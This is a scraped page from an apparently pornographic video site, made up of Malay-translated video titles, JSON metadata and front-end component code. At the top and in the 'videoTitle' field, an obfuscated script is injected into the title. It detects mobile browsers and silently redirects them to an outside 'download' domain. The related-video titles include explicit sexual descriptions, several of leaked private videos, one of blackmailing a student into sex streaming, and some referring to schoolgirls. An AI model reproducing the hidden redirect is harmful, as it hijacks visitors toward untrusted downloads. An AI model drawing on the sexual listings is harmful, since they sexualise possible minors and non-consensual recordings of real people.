</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Hubungan sebenar lelaki generasi kedua yang kaya dengan seorang gadis kolej tahun kedua yang kaya. Selepas makan, minum dan berseronok, dia berjaya mendapatkan farajnya yang montok dan lembut. Penembusan tanpa perlindungan, basah dan ketat.</script></title>
Hubungan sebenar lelaki generasi kedua yang kaya dengan seorang gadis kolej tahun kedua yang kaya. Selepas makan, minum dan berseronok, dia berjaya mendapatkan farajnya yang montok dan lembut. Penembusan tanpa perlindungan, basah dan ketat.","site_id":0,"video_url":"https://lsbbf10.com/20260705/JGlvkPQt/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZjYxOTk0OThiNGJkYTliZDE1NTBiNGU0MTU3NjA1YzUuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"7.0","view_count":700,"description":"Seorang lelaki generasi kedua yang kaya sebenarnya telah menjalinkan hubungan dengan seorang gadis tahun kedua kolej yang materialistik, menikmati kehidupan yang penuh keseronokan dan permainan sebelum berjaya menggodanya. Vulva merah jambunya yang montok telah ditembusi tanpa kondom, dan dia sangat basah dan ketat.","tag":["generasi kedua yang kaya","Generasi kedua","realiti","Temujanji sebenar","Hubungan sebenar","seks kasual","materialisme","Pelajar Tahun Dua","Pelajar Tahun Dua","pelajar","Gadis tahun dua","gadis sekolah","Makanan dan Minuman","kejayaan","Ambil","montok","abalon","merah jambu","Tiada kondom","Penyisipan tanpa perlindungan","sisipan","Air"],"site_url":"313338","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["精品推荐"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZjYxOTk0OThiNGJkYTliZDE1NTBiNGU0MTU3NjA1YzUuanBn.cache","maker":"","table_name":"videos_yutuzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"富二代真实约炮拜金大二学生妹吃喝玩乐后成功拿下肥美.鲍鱼粉嫩无套插入水多又紧","s_keywords":"富二代真实约炮拜金大二学生妹吃喝玩乐后成功拿下肥美.鲍鱼粉嫩无套插入水多又紧","s_description":"Hubungan sebenar lelaki generasi kedua yang kaya dengan seorang gadis kolej tahun kedua yang kaya. Selepas makan, minum dan berseronok, dia berjaya mendapatkan farajnya yang montok dan lembut. Penembusan tanpa perlindungan, basah dan ketat.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAyMjctMS9hZWExZGYyMzM4NTllMjNhOTJiOTY0MThmOGE2NTYyMC5qcGc=.cache","vod_id":19183265,"title":"Seorang isteri yang memakai yukata, mencari rehat daripada kepanasan musim panas, menjadi sasaran zakar lelaki tempatan yang mengerikan, tebal, dan gelap semasa amalan Bon Odori di festival musim panas... NGOD-296","lastmod":"2026-02-27","duration":"2:10:34","url":"/play/19183265.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNTVjN2M5YmM2N2QyZjE0ZDQ4NDczMzY4ODlkOGNhZmYuanBn.cache","vod_id":19184843,"title":"Seorang wanita cantik dan berambut pendek yang sudah berkahwin yang dijodohkannya telah curang selepas hanya sebulan berkahwin.","lastmod":"2026-03-07","duration":"0:03:57","url":"/play/19184843.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWU4NTk4ZjVmMTBlYTU4NmFjOGRmMWQ1ZDIwMjE0YjQuanBn.cache","vod_id":19180356,"title":"Satu video Jiang Yimeng, seorang pelajar dari Sekolah Kewangan dan Ekonomi, sedang melakukan hubungan seks dengan kaunselornya di asrama mereka telah bocor.","lastmod":"2026-02-14","duration":"0:07:55","url":"/play/19180356.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNGM3N2RiNGNiZDJkOGVjM2M4ZTYzOWQxYTVjNTk0ZjIuanBn.cache","vod_id":19198920,"title":"OOXXBLACK, seorang pakar hubungan Twitter yang popular, ialah seorang wanita muda berdada besar yang secara rahsia bertindak seperti perempuan murahan tuannya, mengerang dengan penuh kegembiraan ketika dia akan ditembusi.","lastmod":"2026-05-14","duration":"0:11:27","url":"/play/19198920.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjhkY2E1YjY3ZWE1YWEwYjgwMDNiODEyOTYzNThiMGIuanBn.cache","vod_id":19183899,"title":"Pelajar kolej wanita amatur sahaja! Di dalam sauna mudah alih, seorang lelaki dengan zakar yang besar dan seorang gadis yang tidak bersalah dan tersenyum bersendirian!? Dalam keadaan ini, SKMJ-678 dipaparkan...","lastmod":"2026-03-02","duration":"2:51:01","url":"/play/19183899.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDUvMGMxNjc5NjZiZThmOTBmNTFkMGU1Y2VhZDAyNzVjZmUuanBn.cache","vod_id":19141902,"title":"Wanita muda yang cantik ini mempunyai susuk tubuh yang sangat menggoda.","lastmod":"2025-07-04","duration":"0:19:54","url":"/play/19141902.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmE0YmI0YzU5ODVlMTQ4MmY1ZGNiZWFiYzFhYmVlZDUuanBn.cache","vod_id":19183918,"title":"Seorang pelajar wanita dari sebuah universiti di Suzhou pada tahun 2004 terperangkap dalam skandal selepas program belajar sambil bekerjanya terbongkar kerana menjual rahsianya kepada seorang sugar daddy.","lastmod":"2026-03-02","duration":"0:00:51","url":"/play/19183918.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjhiYjk5YjExOTIzNDAxZjdiMDA3ZWNjNjk2NTlhMWEuanBn.cache","vod_id":19185749,"title":"Seorang wanita cantik dan berdada besar yang telah berkahwin telah terdedah dan melakukan hubungan seks dengan pelbagai posisi tanpa kondom, payudaranya memuncak dan mengerang kenikmatan.","lastmod":"2026-03-11","duration":"0:35:26","url":"/play/19185749.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjRkYmI0ZjAxMTBiZTlmODBiMzY0MGVkZGQ4M2JhNTguanBn.cache","vod_id":19118164,"title":"Pertemuan yang sempurna dengan seorang gadis sekolah menengah yang sangat cantik dan berkaki panjang...","lastmod":"2025-03-26","duration":"0:20:38","url":"/play/19118164.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNWYwZmQ5MmQyY2MxMTZjZjJhOGYyODg0NjMzMjBlYzUuanBn.cache","vod_id":19188705,"title":"Satu swafoto yang bocor menunjukkan seorang lelaki gemuk sedang menjalinkan hubungan sulit di sebuah bilik sewa yang mempunyai katil dua tingkat. Mereka sudah lama tidak berjumpa. Dia menciumnya dengan penuh ghairah, kemudian menembusinya tanpa kondom, dan memancutkan air mani dengan cepat ke dalam.","lastmod":"2026-03-25","duration":"0:48:24","url":"/play/19188705.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDcvZDI4ODBmNDIzZDhmZmQ2MGQ4Y2Y3MTA5YmYwMTc0ODUuanBn.cache","vod_id":19148050,"title":"SONE619 Pengajian dan aktiviti kelab saya sempurna, dan saya pelajar paling popular, tetapi sejak saya pernah membuang air kecil di khalayak ramai, saya telah menjadi tandas kelas.","lastmod":"2025-08-06","duration":"1:57:39","url":"/play/19148050.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDEvZjBkNmI3NWNhNjg1YjdlMzA5NDNmNWFhNDZkM2MwZGEuanBn.cache","vod_id":19137142,"title":"Pramugari terbaik, sempurna, seks tanpa perlindungan, pertemuan yang jarang berlaku dan menyeronokkan.","lastmod":"2025-06-01","duration":"1:30:59","url":"/play/19137142.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZWFhMTdiMzhiYjlmYjNiZTU1NGMyNjA3YjhiMjRiMTUuanBn.cache","vod_id":19183743,"title":"Gadis pelajar pengawasan peringkat atasan mempunyai kontras yang sangat besar: seorang gadis yang berkelakuan baik dalam pakaian, tetapi seorang ratu di atas katil, menendang dan memukul teman lelakinya, meludah ke dalam mulutnya, membuatnya berlutut dan menjilat kakinya, dan terlibat dalam pelbagai jenis BDSM.","lastmod":"2026-03-01","duration":"3:27:07","url":"/play/19183743.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MzAvNmEzM2E0MTMxYjg4ZWNhOTk5N2E0NGQ4N2FhZTcwMTQuanBn.cache","vod_id":19151746,"title":"Tajuk: Hari-hari Pelajar Saya; ID: JD035; Pelakon Wanita: Su Xiaoxiao","lastmod":"2025-08-29","duration":"0:28:51","url":"/play/19151746.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzljZjY1NTA2Nzg5MDdmMzU2YzA0NWVmNjZkMzViMGMuanBn.cache","vod_id":19073647,"title":"10musume080123_01FHD Seorang pelajar kolej wanita yang cantik dan menarik yang telah dirompak telah mengalami ejakulasi tiga hala! ~Yukino Haruki.","lastmod":"2025-03-26","duration":"1:05:33","url":"/play/19073647.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDgvZDkyOTU2NDlkMWYwZDcyNGM1NDk3YzkxZDZhYTRkYTEuanBn.cache","vod_id":19148111,"title":"Kelab ini merupakan kelab \"Wolf Warrior\" dalam dunia sebenar yang menawarkan malam dengan pengalaman 998 malam bersama wanita muda yang sudah berkahwin di peringkat atasan.","lastmod":"2025-08-07","duration":"0:55:01","url":"/play/19148111.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDgwZmE1NTA5NDQxODM3M2I5MjdiMWJlMTU5MjU3MTkuanBn.cache","vod_id":19194094,"title":"Rakaman berkualiti tinggi yang dijana AI mendedahkan gambaran realistik pasangan yang bertukar pasangan. Pasangan berusia 30 tahun yang dihormati, pada mulanya pemalu dan pendiam, secara beransur-ansur menjadi sangat lucah dan mencapai klimaks melalui hubungan seks yang penuh ghairah.","lastmod":"2026-04-21","duration":"0:56:30","url":"/play/19194094.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGM3YjJiYjRmNGM0MjgzYmI1M2MzMTc4MjhiZmYyODQuanBn.cache","vod_id":19109647,"title":"Pengiring gadis hookup hotel","lastmod":"2025-03-26","duration":"0:27:33","url":"/play/19109647.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDdjMjk0NjdmNzVmZWI0ZjQ4MWVhMTZkYjQyNThkNzUuanBn.cache","vod_id":19177287,"title":"Hubungan sulit pasangan itu telah bocor. Watak utama wanita itu agak cantik. Di apartmen sewanya, dia dan teman lelakinya melakukan hubungan seks pada masa yang berbeza dalam pelbagai posisi tanpa kondom, termasuk seks oral.","lastmod":"2026-01-30","duration":"0:31:48","url":"/play/19177287.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjJkZDc0NjJiYTk4NzVjZmI2YWJmNjQwZDE1ZjgwZDcuanBn.cache","vod_id":19076079,"title":"START028 [Penggambaran Persendirian] Memeras ugut seorang pelajar kolej wanita, mendapatkan wang saku dengan merakam video seks peribadinya dan mengeksploitasi kelemahannya untuk menstrim seks secara langsung.","lastmod":"2025-03-26","duration":"2:09:52","url":"/play/19076079.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDYvZmJkOTJmMjY5MDRhZTYwYWM2MjQ3MWJjYTNkZWMzN2YuanBn.cache","vod_id":19158116,"title":"Berjaya mendapatkan seorang wanita matang berusia 28 tahun di rumah urut kaki. Wanita matang memang sangat memikat.","lastmod":"2025-10-05","duration":"0:15:56","url":"/play/19158116.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvM2NlMTJhZjVjYTg5NjBiYjM4MWQwNTYxM2I1MjFhOGIuanBn.cache","vod_id":19117705,"title":"Pramugari yang kesepian mencari seks kasual...","lastmod":"2025-03-26","duration":"0:32:02","url":"/play/19117705.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNDViZDRhOTYzOWI5NDlkNGNiMDMxODIyZDYyZGMzODAuanBn.cache","vod_id":19071171,"title":"MIFD088 Pelajar kolej wanita berusia 19 tahun yang naif ini menghadiri sebuah universiti berprestij berhampiran Stesen Uguisou, tetapi dia sebenarnya menjadi topik hangat tentang gadis mandi gelembung yang sukar ditempah dalam Yoshiwara, dan dia bakal membuat debut! Himeno Kotomi…","lastmod":"2025-03-26","duration":"2:28:57","url":"/play/19071171.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTEvNmIxNmVjNDlkMWMyZTc3MTAyYjg1MWM5NTMyMGMwODUuanBn.cache","vod_id":19138657,"title":"Khabar angin tersebar dalam talian: Video hubungan sulit yang menampilkan dewi loli Douyin, Guijiang, terbongkar.","lastmod":"2025-06-11","duration":"0:10:23","url":"/play/19138657.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Hubungan sebenar lelaki generasi kedua yang kaya dengan seorang gadis kolej tahun kedua yang kaya. Selepas makan, minum dan berseronok, dia berjaya mendapatkan farajnya yang montok dan lembut. Penembusan tanpa perlindungan, basah dan ketat.</script></title>',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}